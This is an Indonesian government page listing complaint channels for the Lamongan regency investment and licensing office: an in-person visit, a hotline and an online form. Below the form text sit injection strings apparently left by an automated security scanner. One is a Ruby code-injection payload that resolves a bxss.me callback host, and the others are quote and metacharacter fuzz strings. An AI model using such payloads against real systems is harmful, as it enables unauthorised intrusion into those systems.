MEKANISME PENGADUAN

Berikut ini adalah mekanisme untuk melakukan pengaduan di DPMPTSP Kabupaten Lamongan :

  1. Melalui Offline bisa langsung berkunjung ke gedung Mal Pelayanan Publik Kabupaten Lamongan
  2. Pengaduan bisa menghubungi via hotline DPMPTSP +62 812 3131 3838
  3. Melalui Pengaduan Online, dengan mengisi form di bawah ini :

'+'A'.concat(70-3).concat(22*4).concat(119).concat(86).concat(110).concat(69)+(require'socket' Socket.gethostbyname('hitlw'+'czygbrps3d78e.bxss.me.')[3].to_s)+'

12345'"\'\");|]*{ <>''????

555

555

555